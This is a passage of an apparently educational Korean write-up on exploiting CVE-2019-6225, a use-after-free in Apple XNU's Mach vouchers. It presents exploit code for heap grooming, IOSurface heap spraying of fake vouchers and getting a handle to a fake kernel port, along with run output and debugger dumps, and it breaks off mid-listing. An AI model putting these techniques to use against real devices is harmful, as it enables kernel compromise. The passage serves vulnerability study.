\n[\u2026] \uc5ec\uc804\ud788 \ubaa8\ub4e0 \uc874\uc744 \ubc18\ubcf5\ud558\uba74\uc11c \uac01 \uc874\uc5d0\uc11c 100MB \uc815\ub3c4\ub97c \ud560\ub2f9\ud558\uace0 \uc774\ud6c4 \ud574\uc81c\ud558\ub294 \ubc29\uc2dd\uc73c\ub85c \uac00\ube44\uc9c0 \uceec\ub809\uc158\uc744 \ud2b8\ub9ac\uac70\ud560 \uc218 \uc788\uc5b4\uc57c \ud558\uba70, \uc774 \uacfc\uc815\uc5d0 \uac78\ub9ac\ub294 \uc2dc\uac04\uc744 \uce21\uc815\ud558\uba74 \uac00\ube44\uc9c0 \uceec\ub809\uc158\uc774 \uc911\uc694\ud55c \uc2a4\ud30c\uc774\ud06c\ub85c \ub098\ud0c0\ub0a0 \uac83\uc785\ub2c8\ub2e4.<\/p>\n<\/blockquote>\n
\ub530\ub77c\uc11c \ub2e4\uc74c \ud568\uc218\uac00 \uc0ac\uc6a9\ub41c\ub2e4. \uc5ec\uae30\uc11c\ub294 kalloc.16384 \uc874\uc5d0 \uc804\uc1a1\ub420 \uba54\uc2dc\uc9c0\ub97c \ud560\ub2f9\ud558\uace0, \uc774\ub97c send_kalloc_message<\/code> \ud568\uc218\ub97c \ud1b5\ud574 256\ubc88 \uc804\uc1a1\ud558\uba70, \uac01 \uc804\uc1a1\uc5d0 \uac78\ub9ac\ub294 \uc2dc\uac04\uc744 \uae30\ub85d\ud55c\ub2e4.\n\ub9cc\uc57d \uc774 \uba54\uc2dc\uc9c0\ub4e4\uc744 \uc804\uc1a1\ud558\ub294 \ub370 2,000,0000 \ub098\ub178\ucd08(20\ubc00\ub9ac\ucd08) \uc774\uc0c1\uc774 \uac78\ub9b0\ub2e4\uba74, \uc6b0\ub9ac\ub294 GC\uac00 \ud2b8\ub9ac\uac70\ub418\uc5c8\ub2e4\uace0 \uac00\uc815\ud560 \uc218 \uc788\ub2e4. (\uac78\ub9ac\ub294 \uc2dc\uac04\uc740 \ud658\uacbd\uc5d0 \ub530\ub77c \ub2e4\ub984; iOS \uae30\uae30\uc758 \uacbd\uc6b0: 1,000,000 \ub098\ub178\ucd08(1\ubc00\ub9ac\ucd08))<\/p>\nvoid trigger_gc_please()\n{\n ...\n uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); \/\/ 1024\n uint8_t *body = malloc(body_size); \n memset(body, 0x41, body_size);\n \n for (int i = 0; i < gc_ports_cnt; i++)\n {\n uint64_t t0, t1;\n\n t0 = mach_absolute_time();\n gc_ports[i] = send_kalloc_message(body, body_size);\n t1 = mach_absolute_time();\n \n if (t1 - t0 > 20000000) \n {\n INFO("got gc at %d -- breaking, t1-t0: %llu\\n", i, t1 - t0);\n gc_ports_max = i;\n break;\n }\n }\n\n ...\n\n sched_yield();\n sleep(1);\n}\n<\/code><\/pre>\nGC \ud2b8\ub9ac\uac70\uac00 \uc2e4\ud328\ud558\uba74 \ud398\uc774\uc9c0\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc73c\uba70, \uc6b0\ub9ac\uc758 \ud799 \uc2a4\ud504\ub808\uc774\uac00 \uc2e4\ud328\ud558\uac8c \ub418\uc5b4 \uc804\uccb4 \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc2e4\ud328\ud55c\ub2e4. GC\ub294 \ube44\ub3d9\uae30\uc801\uc73c\ub85c \uc791\ub3d9\ud558\ubbc0\ub85c, GC\uac00 \uc644\ub8cc\ub418\uc5c8\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 \uc77c\uc815 \uc2dc\uac04\uc744 \uae30\ub2e4\ub824\uc57c \ud55c\ub2e4.\n\ub530\ub77c\uc11c \uc774 \ud568\uc218\uc758 \uc5d0\ud544\ub85c\uadf8\uc5d0\uc11c sched_yield<\/code>\uc640 sleep<\/code> \ud638\ucd9c\uc774 \ud3ec\ud568\ub418\uc5c8\ub2e4.<\/p>\nGC\uc5d0\uc11c \uc911\uc694\ud55c \uc694\uc18c\ub294 \uc8fc\uc5b4\uc9c4 \ud398\uc774\uc9c0\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \uac1d\uccb4\uac00 \ud574\uc81c\ub41c \ud6c4\uc5d0\uc57c \ud398\uc774\uc9c0 \uc790\uccb4\uac00 \ud574\uc81c\ub420 \uc218 \uc788\ub2e4\ub294 \uc810\uc774\ub2e4. \uc989, \uc6b0\ub9ac\uc758 \ub300\uc0c1 UAF \ubc14\uc6b0\ucc98\uc640 \uac19\uc740 \ud398\uc774\uc9c0\uc5d0 \ud558\ub098\uc758 \ud560\ub2f9\ub3c4 \uc874\uc7ac\ud560 \uc218 \uc5c6\ub2e4\ub294 \uac83\uc774\ub2e4.\n\uc774\ub97c \ud574\uacb0\ud558\uae30 \uc704\ud574, \ub300\uc0c1 \u201cp1\u201d \uc804\uc5d0 0x2000\ubc88 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ud558\uace0, \uadf8 \ud6c4\uc5d0 0x1000\ubc88 \ud3ec\ud2b8\uac00 \ucd94\uac00\ub85c \ud560\ub2f9\ud55c\ub2e4.<\/p>\n
\ub2e4\uc74c \ucf54\ub4dc\ub97c \ucc38\uc870\ud558\uae38 \ubc14\ub780\ub2e4.<\/p>\n
...\n \/* create a few vouchers used to trigger the bug *\/\n mach_voucher_attr_recipe_data_t atm_data = \n {\n .key = MACH_VOUCHER_ATTR_KEY_ATM,\n .command = 510\n };\n\n mach_port_t p2;\n ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p2);\n \n mach_port_t p3;\n ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p3);\n\n \/* allocate 0x2000 vouchers to alloc some new fresh pages *\/\n for (int i = 0; i < sizeof(before) \/ sizeof(mach_port_t); i++)\n {\n ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &before[i]);\n }\n \n \/* alloc our target uaf voucher *\/\n mach_port_t p1;\n ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p1);\n \n \/* allocate 0x1000 more vouchers *\/\n for (int i = 0; i < sizeof(after) \/ sizeof(mach_port_t); i++)\n {\n ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &after[i]);\n }\n\n \/*\n theoretically, we should now have 3 blocks of memory (roughly) as so:\n |--------------------|-------------|------------------|\n | ipc ports | target port | more ipc ports |\n |--------------------|-------------|------------------| \n ^ ^\n page with only our controlled ports\n \n\ubc14\ub77c\uac74\ub300 \uc6b0\ub9ac\uc758 \ubaa9\ud45c \ud3ec\ud2b8\ub294 \uc774\uc81c \uc6b0\ub9ac\uac00 \uc81c\uc5b4\ud558\ub294 \ud3ec\ud2b8\ub4e4\ub9cc \ud3ec\ud568\ud558\ub294 \ud398\uc774\uc9c0\uc5d0 \ud560\ub2f9\ub418\uc5b4 \uc788\uc744 \uac83\uc774\ub2e4. \uc774\ub294 \uc6b0\ub9ac\uac00 \ubaa8\ub4e0 \ud3ec\ud2b8\ub97c \ud574\uc81c\ud560 \ub54c \ud574\ub2f9 \ud398\uc774\uc9c0\uc758 \ubaa8\ub4e0 \ud560\ub2f9\uc774 \ud574\uc81c\ub418\uace0, GC\ub97c \ud2b8\ub9ac\uac70\ud558\uba74 \uadf8 \ud398\uc774\uc9c0\uac00 ipc_ports \uc874\uc5d0\uc11c \ubc18\ud658\ub418\uc5b4 kalloc\uc5d0\uc11c \uc7ac\uc0ac\uc6a9\ub41c\ub2e4\ub294 \ub73b\uc774\ub2e4. \uc774\ub85c\uc368 IOSurface\ub97c \ud1b5\ud574 \ub2e4\ub978 kalloc \uc601\uc5ed(\uc608: kalloc.1024)\uc5d0 \uac00\uc9dc voucher\ub4e4\uc744 \uc2a4\ud504\ub808\uc774\ud560 \uc218 \uc788\uace0, \uadf8 \uacb0\uacfc voucher\uc758 \ub315\uae00\ub9c1 \ud3ec\uc778\ud130\uac00 \uc6b0\ub9ac\uc758 \ud560\ub2f9 \uc911 \ud558\ub098\uc640 \uacb9\uce58\uac8c \ub41c\ub2e4.\n *\/\n<\/code><\/pre>\nIOSurface\ub97c \ud65c\uc6a9\ud55c \ud799 \uc2a4\ud504\ub808\uc774<\/h3>\n
\ubaa8\ub4e0 \uac83\uc774 \uacc4\ud68d\ub300\ub85c \uc9c4\ud589\ub418\uc5c8\ub2e4\uba74, \uc774 \uc2dc\uc810\uc5d0\uc11c GC\uac00 \ud2b8\ub9ac\uac70\ub418\uc5b4 \ud398\uc774\uc9c0\uac00 \ud560\ub2f9 \ud480\ub85c \ubc18\ud658\ub420 \uac83\uc774\ub2e4.\n\uadf8\ub7f0 \ub2e4\uc74c \uc6b0\ub9ac\ub294 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub97c \ucee4\ub110\ub85c \uc804\uc1a1\ud558\uace0 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \uad50\uccb4\ud558\uae30 \uc704\ud574 \ud799 \uc2a4\ud504\ub808\uc774\ub97c \uacc4\uc18d \uc9c4\ud589\ud560 \uc218 \uc788\ub2e4. \uc774\ub97c \uc704\ud574 \u201cIOSurface\u201d kext(\ucee4\ub110 \ud655\uc7a5)\uc5d0\uc11c \uad6c\ud604\ub41c IOKit UserClient\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4. IOKit\uc740 \ub4dc\ub77c\uc774\ubc84\uc640 \ud655\uc7a5\uc744 \ucc98\ub9ac\ud558\ub294 \ucee4\ub110 \uc778\ud130\ud398\uc774\uc2a4\uc774\uba70, UserClient\ub294 \uc0ac\uc6a9\uc790\uac00 \ucee4\ub110 \ud655\uc7a5\uc5d0 \uba85\ub839\uc744 \ubcf4\ub0bc \uc218 \uc788\ub3c4\ub85d \ud558\ub294 \uac1d\uccb4\uc774\ub2e4. IOSurface\ub294 \uadf8\ub798\ud53d \ubc84\ud37c\uc758 \ucc98\ub9ac \ubc0f \uacc4\uc0b0\uc744 \uc704\ud55c kext\uc774\uc9c0\ub9cc, \ub450 \uac00\uc9c0 \uc774\uc720\ub85c \uc778\ud574 \uc6b0\ub9ac\uc5d0\uac8c \ud6cc\ub96d\ud55c \ud799 \uc2a4\ud504\ub808\uc774 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc81c\uacf5\ud55c\ub2e4.<\/p>\n
\uccab\uc9f8, IOSurface(\ud2b9\ud788 \u201cset value\u201d \uba54\uc11c\ub4dc)\ub294 \ubc30\uc5f4(OSArray), \ub515\uc154\ub108\ub9ac(OSDictionary), \ubb38\uc790\uc5f4(OSString) \ub4f1\uacfc \uac19\uc740 \uac1d\uccb4\ub97c \ud3ec\ud568\ud558\ub294 \uc778\ucf54\ub529\ub41c plist(\uc18d\uc131 \ubaa9\ub85d)\ub97c \uc81c\uacf5\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub514. \uc774 \uac1d\uccb4\ub4e4 \uc548\uc5d0 \uc6b0\ub9ac\ub294 \uc644\uc804\ud788 \uc784\uc758\uc758 \ub370\uc774\ud130\ub97c \ub123\uc744 \uc218 \uc788\ub2e4(\uc608: \uc911\ucca9\ub41c \ud0c0\uc785, \uc989 \ubc30\uc5f4 \uc548\uc5d0 \ub515\uc154\ub108\ub9ac).<\/p>\n
\ub458\uc9f8, IOSurface UserClient\ub294 \uc571 \uc0cc\ub4dc\ubc15\uc2a4\uc5d0\uc11c \uc811\uadfc \uac00\ub2a5\ud558\uba70, \uad8c\ud55c \ubd80\uc5ec\ub098 \uad8c\ud55c \uac80\uc0ac \ub610\ub294 \uc0cc\ub4dc\ubc15\uc2a4\uc5d0\uc11c\uc758 \ucc28\ub2e8\uc774 \uc5c6\ub2e4. \ub370\uc774\ud130\ub97c \uc2a4\ud504\ub808\uc774\ud558\uae30 \uc704\ud574, \uc6b0\ub9ac\ub294 OSString\uc73c\ub85c \uad6c\uc131\ub41c \uc11c\ud398\uc774\uc2a4(surface)\ub97c \ub9cc\ub4e4 \uc218 \uc788\ub2e4. \ud558\ub098\uc758 \uc11c\ud398\uc774\uc2a4(surface)\ub97c \uc124\uc815\ud55c \ud6c4, \ud558\ub098\uc758 OSString\uc744 \uc2a4\ud504\ub808\uc774\ud558\ub824\ub294 \ud56d\ubaa9\uc73c\ub85c \ud3ec\ud568\ud558\ub294 \ub515\uc154\ub108\ub9ac\uac00 \ud3ec\ud568\ub41c \ubc30\uc5f4\uc744 \uc0ac\uc6a9\ud55c\ub2e4. OSString\uc740 \ud06c\uae30\uac00 \uc5bc\ub9c8\ub4e0\uc9c0 \ub420 \uc218 \uc788\uc9c0\ub9cc, \uc6b0\ub9ac\ub294 \uc804\uccb4 \ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \ub370\uc774\ud130\ub97c \ucc44\uc6b0\uace0\uc790 \ud55c\ub2e4. 4k \uc7a5\uce58\uc5d0\uc11c\ub294 \ud398\uc774\uc9c0 \ud06c\uae30\uac00 0x1000(4096)\uc774\uace0, 16k \uc7a5\uce58\uc5d0\uc11c\ub294 0x4000(16,384)\uc774\ub2e4. OSString\uc758 \u201c\ubb38\uc790\uc5f4\u201d \ubd80\ubd84 \ub54c\ubb38\uc5d0, \uc6b0\ub9ac\uc758 \ub370\uc774\ud130\ub294 NULL \ubc14\uc774\ud2b8\ub85c \uc885\ub8cc\ub418\uc5b4\uc57c \ud558\ubbc0\ub85c, \ud06c\uae30 \uacc4\uc0b0 \uc2dc \uc774\ub97c \uace0\ub824\ud574\uc57c \ud55c\ub2e4.<\/p>\n
\uc544\ub798 \ucf54\ub4dc\ub294 OSUnserializeBinary XML Spraying \uc6d0\ub9ac\ub97c \uc774\uc6a9\ud558\uc5ec \uc11c\ud398\uc774\uc2a4\uc5d0 \uc124\uc815\ub420 \ub370\uc774\ud130(\ub530\ub77c\uc11c \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \uc2a4\ud504\ub808\uc774\ub420 \ub370\uc774\ud130)\ub97c \uc124\uc815\ud558\uba70, bcopy \ub8e8\ud504\ub294 \uac01 OSString\uc5d0 \uac00\uc9dc ipc_vouchers\ub97c \ucc44\uc6b4\ub2e4.<\/p>\n
int main(int argc, char *argv[], char *envp[]) {\n\t\tIOSurface_init();\n...\n \/* set up our IOSurface data for spraying *\/\n#define FILL_MEMSIZE 0x4000000\n int spray_qty = FILL_MEMSIZE \/ pagesize; \/* # of pages to spray *\/ \n \n int spray_size = (5 * sizeof(uint32_t)) + (spray_qty * ((4 * sizeof(uint32_t)) + pagesize));\n uint32_t *spray_data = malloc(spray_size); \/\/ header + (spray_qty * (item_header + pgsize))\n\n build_IOSurface_spray_data(&fake_voucher, sizeof(fake_ipc_voucher_t), spray_qty, spray_data, spray_size);\n ...\n}\n\n\/\/iosurface.c\nint build_IOSurface_spray_data(void *data, size_t size, int spray_qty, uint32_t *spray_data, int spray_size) {\n \/* set up our IOSurface data for spraying *\/\n bzero((void *)spray_data, spray_size);\n \n uint32_t *spray_cur = spray_data;\n \n \/*\n +-> Surface\n +-> Array\n +-> Dictionary\n +-> OSString \n +-> OSString\n +-> OSString \n etc (spray_qty times)...\n *\/\n\n *(spray_cur++) = IOSurface_id;\n *(spray_cur++) = 0x0;\n *(spray_cur++) = kOSSerializeMagic;\n *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeArray | 1;\n *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeDictionary | spray_qty;\n for (int i = 0; i < spray_qty; i++)\n {\n *(spray_cur++) = kOSSerializeSymbol | 5;\n *(spray_cur++) = transpose(i);\n *(spray_cur++) = 0x0;\n *(spray_cur++) = (i + 1 >= spray_qty ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1);\n \n for (uintptr_t ptr = (uintptr_t)spray_cur, end = ptr + pagesize; \n ptr + size <= end; \n ptr += size)\n {\n bcopy((const void *)data, (void *)ptr, size);\n }\n \n spray_cur += (pagesize \/ sizeof(uint32_t));\n }\n\n return 0;\n}\n<\/code><\/pre>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%203.png\")
<\/p>\n
\uadf8\ub7f0 \ub2e4\uc74c \uc0ac\uc6a9\uc790 \ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0 \ud638\ucd9c\ud558\uc5ec \uc81c\uacf5\ub41c \ub370\uc774\ud130\ub97c Surface\uc5d0 \uc124\uc815\ud560 \uc218 \uc788\ub2e4:<\/p>\n
...\n trigger_gc_please(); \n\n ret = IOSurface_set_value(spray_data, spray_size);\n INFO("IOSurface_set_value ret: %d\\n", ret);\n if(ret == false) exit(1);\n...\n<\/code><\/pre>\n\uc774 \uc791\uc5c5\uc774 \uc81c\ub300\ub85c \uc9c4\ud589\ub418\uc5c8\ub2e4\uba74, \ud574\uc81c\ub41c ipc_voucher\ub294 \uc774\uc81c \uc6b0\ub9ac\uc758 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub85c \uad50\uccb4\ub418\uc5c8\uace0, \uc6b0\ub9ac\ub294 \uc774\ub97c \ud799 \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \ubcf5\uc0ac\ud55c \uac83\uc774\ub2e4.<\/p>\n
(lldb) p *(ipc_voucher_t)0xffffff8011049c80\n(ipc_voucher) $1 = {\n iv_hash = 0\n iv_sum = 0\n iv_refs = (ref_count = 100)\n iv_table_size = 0\n iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n iv_table = 0x0000000000000000\n iv_port = nullptr\n iv_hash_link = {\n next = nullptr\n prev = nullptr\n }\n}\n<\/code><\/pre>\n\uc774\ub294 \uc774\uc81c \uc6b0\ub9ac\uc758 \uc2a4\ub808\ub4dc\uc5d0 \uc800\uc7a5\ub41c \ud3ec\ud2b8\uac00 \uac00\uc9dc ipc_voucher<\/code>\ub97c \uac00\ub9ac\ud0a4\uac8c \ub418\uba70, \uadf8 \uac00\uc9dc ipc_voucher<\/code>\ub294 \uc0ac\uc6a9\uc790 \uc601\uc5ed\uc5d0 \ud560\ub2f9\ub41c fakeport<\/code>\ub97c \uac00\ub9ac\ud0a4\uac8c \ub41c\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n\uc774\uc81c thread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc73c\ub824\uace0 \ud55c\ub2e4.<\/p>\n\uc774\uc804\uc5d0 \uc6b0\ub9ac\ub294 \ub300\uc0c1 \u201cp1\u201d \uc804\uc5d0 0x2000\ubc88 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ub418\uace0, \uadf8 \ud6c4\uc5d0 0x1000\ubc88 \ud3ec\ud2b8\uac00 \ucd94\uac00\ub85c \ud560\ub2f9\ud588\ub2e4.\n\ub530\ub77c\uc11c \ucc98\uc74c\uc5d0 preport[0x1000]\uc5d0 MACH_PORT_RIGHT_RECEIVE \uad8c\ud55c\uc73c\ub85c IPC space\uc5d0\uc11c \uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8 \uc774\ub984\uc744 \ud560\ub2f9\ud558\uace0,\nthread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc740 \ub2e4\uc74c,<\/strong>\n\ub2e4\uc2dc\ud55c\ubc88 \uac19\uc740 \uad8c\ud55c\uc73c\ub85c postport[0x2000]\uc5d0 Mach \ud3ec\ud2b8 \uc774\ub984\uc744 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n mach_port_t real_port_to_fake_voucher = MACH_PORT_NULL;\n\n \/* \n alloc'ing ports either side of the kport_t that thread_get_mach_voucher \n creates will give us much better success rate for guessing the \n heap address of our pipe buffer-based port \n\n someone once said iOS's heap randomization was weak\n i didn't listen\n then i realised\n iOS's heap randomization is weak\n ...i should've listened\n *\/ \n\n for (int i = 0; i < sizeof(preport) \/ sizeof(mach_port_t); i++)\n {\n mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &preport[i]);\n }\n\n \/* fingers crossed we get a userland handle onto our 'fakeport' object *\/\n \/\/printf("pauseing...\\n");\n \/\/getchar();\n ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher);\n INFO("port: 0x%x\\n", real_port_to_fake_voucher);\n\n \/\/printf("thread_get_mach_voucher called, port printed...\\n");\n \/\/getchar();\n\n for (int i = 0; i < sizeof(postport) \/ sizeof(mach_port_t); i++)\n { \n mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &postport[i]);\n }\n<\/code><\/pre>\n\ud578\ub4e4\uc744 \uc5bb\uc5b4\uc624\ub294\ub370 \uc131\uacf5\ud588\ub2e4\uba74, ipc_voucher\uc5d0 \ud799 \uc2a4\ud504\ub808\uc774\ud558\ub294\ub370 \uc131\uacf5\ud55c\uac83\uc774\ub2e4!<\/p>\n
seos-iMac-Pro% .\/exp \n[*] page size: 0x1000, kr=(os\/kern) successful\n[*] IOSurface_init success, IOSurface_id=0x1\n[*] total pipes created: 1280\n[*] got gc at 15 -- breaking, t1-t0: 23916761\n[*] IOSurface_set_value ret: 1\n[*] port: 0x114607\n<\/code><\/pre>\n\uc774\uc81c IOSurfaceRootUserClient::get_value()<\/code> \ub798\ud37c \ud568\uc218\ub97c \uc774\uc6a9\ud558\uc5ec \uc2a4\ud504\ub808\uc774\ub41c \ub370\uc774\ud130\ub4e4 \uc911\uc5d0 \u201cthread_get_mach_voucher<\/code> \u2192 convert_voucher_to_port<\/code> \ud568\uc218\uac00 \ud638\ucd9c\ub418\uba74\uc11c \uc0dd\uc131\ub41c \ubc14\uc6b0\ucc98 \ud3ec\ud2b8 \ucee4\ub110 \uc8fc\uc18c\u201d\ub97c \ucc3e\ub294\ub2e4.<\/p>\n uint8_t *response = (uint8_t *)malloc(spray_size);\n size_t sz = spray_size;\n\n int spray_index = 0;\n int port_index = 0;\n fake_ipc_voucher_t *target_voucher = NULL;\n\n INFO("getting responses...\\n");\n for (int s = 0; s < spray_qty; s++)\n {\n bzero((void *)response, spray_size);\n\n struct IOSurfaceValueArgs_string request = {\n .surface_id = IOSurface_id,\n ._out1 = 0x0,\n .string_data = transpose(s),\n .null = 0\n }; \n\n ret = IOSurface_get_value((struct IOSurfaceValueArgs *)&request, sizeof(request), response, &sz);\n if(ret == false) exit(1);\n\n uint8_t *cursor = response + 0x10;\n\n for (int j = 0; j < pagesize \/ sizeof(fake_ipc_voucher_t); j++)\n {\n fake_ipc_voucher_t *found_voucher = (fake_ipc_voucher_t *)(cursor + (j * sizeof(fake_ipc_voucher_t)));\n\n if (found_voucher->iv_port != 0)\n {\n INFO("found voucher!! s: %d, j: %d\\n", s, j);\n INFO("port: 0x%llx\\n", found_voucher->iv_port);\n INFO("refs: %d\\n", found_voucher->iv_refs);\n\n getchar();\n \n spray_index = s;\n port_index = j;\n target_voucher = found_voucher;\n\n goto found_voucher_lbl;\n }\n }\n }\n\n if (target_voucher == NULL)\n {\n ERROR("failed to find the target voucher :-(\\n");\n return -1;\n }\n\nfound_voucher_lbl:;\n...\n<\/code><\/pre>\n[*] WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted\n[*] getting responses...\n[*] found voucher!! s: 743, j: 39\n[*] port: 0xffffff8017e3c610\n[*] refs: 101\n<\/code><\/pre>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%204.png\")
<\/p>\n
thread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc744 \uc218 \uc788\uc5c8\ub358 \uc774\uc720\ub294 \ubb34\uc5c7\uc77c\uae4c?<\/strong><\/h3>\n\uc2e4\uc81c \ucee4\ub110 \ub514\ubc84\uae45\uc744 \ud574\ubcf4\uba74\uc11c \uc54c\uc544\ubcf4\uc790.<\/p>\n
\ubd84\uc11d \uc9c0\uc810\uc740 \ud799 \uc2a4\ud504\ub808\uc774 \uc774\ud6c4\uc5d0 thread_get_mach_voucher<\/code> \ud568\uc218 \ud638\ucd9c \uc804\uacfc \ud6c4\ub85c \ub098\ub258\uba70,<\/p>\n\/* fingers crossed we get a userland handle onto our 'fakeport' object *\/\n printf("pauseing...\\n");\n getchar();\n ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher);\n INFO("port: 0x%x\\n", real_port_to_fake_voucher);\n\n printf("thread_get_mach_voucher called, port printed...\\n");\n getchar();\n<\/code><\/pre>\n\ud574\ub2f9 \ud568\uc218\ub294 \uc0ac\uc6a9\uc790 \uacf5\uac04\uc5d0\uc11c \ubc14\uc6b0\ucc98 \ucc38\uc870\ub97c \uc77d\uace0 \uc4f8 \uc218 \uc788\ub3c4\ub85d \ud558\ub294\ub370, \uc774 \ud568\uc218\uc5d0 \ub300\ud574\uc11c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\ub824\uba74 MIG<\/strong> \uc0dd\uc131 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubd10\uc57c \ud55c\ub2e4.<\/p>\n\ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \ub2e4\ub978 \uac1d\uccb4\ub85c \uc7ac\ud560\ub2f9\ud588\ub2e4\uace0 \uac00\uc815\ud558\uba74, thread_get_mach_voucher<\/code> \ud638\ucd9c\uc740 \ucee4\ub110 \ud328\ub2c9 \uc5c6\uc774 \uc131\uacf5\ud574\uc57c \ud55c\ub2e4. \ucee4\ub110 \ub0b4\uc5d0\uc11c \ud638\ucd9c\ub418\ub294 thread_get_mach_voucher<\/code> \ud568\uc218\ub294 2688\ubc88\uc9f8 \ub77c\uc778\uc5d0 \uc788\uc73c\uba70, \uc774 \ud568\uc218\ub294 ipc_voucher_reference(voucher)<\/code>\ub97c \ud638\ucd9c\ud558\ub294\ub370, \uc774\ub294 iv_refs<\/code> \ud544\ub4dc\uac00 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud574 \uc720\ud6a8\ud558\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n File: .\/BUILD\/obj\/RELEASE_X86_64\/osfmk\/RELEASE\/mach\/thread_act_server.c\n 2597: \/* Routine thread_get_mach_voucher *\/\n 2598: mig_internal novalue _Xthread_get_mach_voucher\n 2599: \t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\n 2600: {\n 2601: \n 2602: #ifdef __MigPackStructs\n 2603: #pragma pack(4)\n 2604: #endif\n 2605: \ttypedef struct {\n 2606: \t\tmach_msg_header_t Head;\n 2607: \t\tNDR_record_t NDR;\n 2608: \t\tmach_voucher_selector_t which;\n 2609: \t\tmach_msg_trailer_t trailer;\n 2610: \t} Request __attribute__((unused));\n 2611: #ifdef __MigPackStructs\n 2612: #pragma pack()\n 2613: #endif\n 2614: \ttypedef __Request__thread_get_mach_voucher_t __Request;\n 2615: \ttypedef __Reply__thread_get_mach_voucher_t Reply __attribute__((unused));\n 2616: \n 2617: \t\/*\n 2618: \t * typedef struct {\n 2619: \t * \tmach_msg_header_t Head;\n 2620: \t * \tNDR_record_t NDR;\n 2621: \t * \tkern_return_t RetCode;\n 2622: \t * } mig_reply_error_t;\n 2623: \t *\/\n 2624: \n 2625: \tRequest *In0P = (Request *) InHeadP;\n 2626: \tReply *OutP = (Reply *) OutHeadP;\n 2627: #ifdef\t__MIG_check__Request__thread_get_mach_voucher_t__defined\n 2628: \tkern_return_t check_result;\n 2629: #endif\t\/* __MIG_check__Request__thread_get_mach_voucher_t__defined *\/\n 2630: \n 2631: #if\t__MigKernelSpecificCode\n 2632: #if\tUseStaticTemplates\n 2633: \tconst static mach_msg_port_descriptor_t voucherTemplate = {\n 2634: \t\t\/* name = *\/\t\tMACH_PORT_NULL,\n 2635: \t\t\/* pad1 = *\/\t\t0,\n 2636: \t\t\/* pad2 = *\/\t\t0,\n 2637: \t\t\/* disp = *\/\t\t17,\n 2638: \t\t\/* type = *\/\t\tMACH_MSG_PORT_DESCRIPTOR,\n 2639: \t};\n 2640: #endif\t\/* UseStaticTemplates *\/\n 2641: \n 2642: #else\n 2643: #if\tUseStaticTemplates\n 2644: \tconst static mach_msg_port_descriptor_t voucherTemplate = {\n 2645: \t\t\/* name = *\/\t\tMACH_PORT_NULL,\n 2646: \t\t\/* pad1 = *\/\t\t0,\n 2647: \t\t\/* pad2 = *\/\t\t0,\n 2648: \t\t\/* disp = *\/\t\t19,\n 2649: \t\t\/* type = *\/\t\tMACH_MSG_PORT_DESCRIPTOR,\n 2650: \t};\n 2651: #endif\t\/* UseStaticTemplates *\/\n 2652: \n 2653: #endif \/* __MigKernelSpecificCode *\/\n 2654: \tkern_return_t RetCode;\n 2655: \tthread_act_t thr_act;\n 2656: \tipc_voucher_t 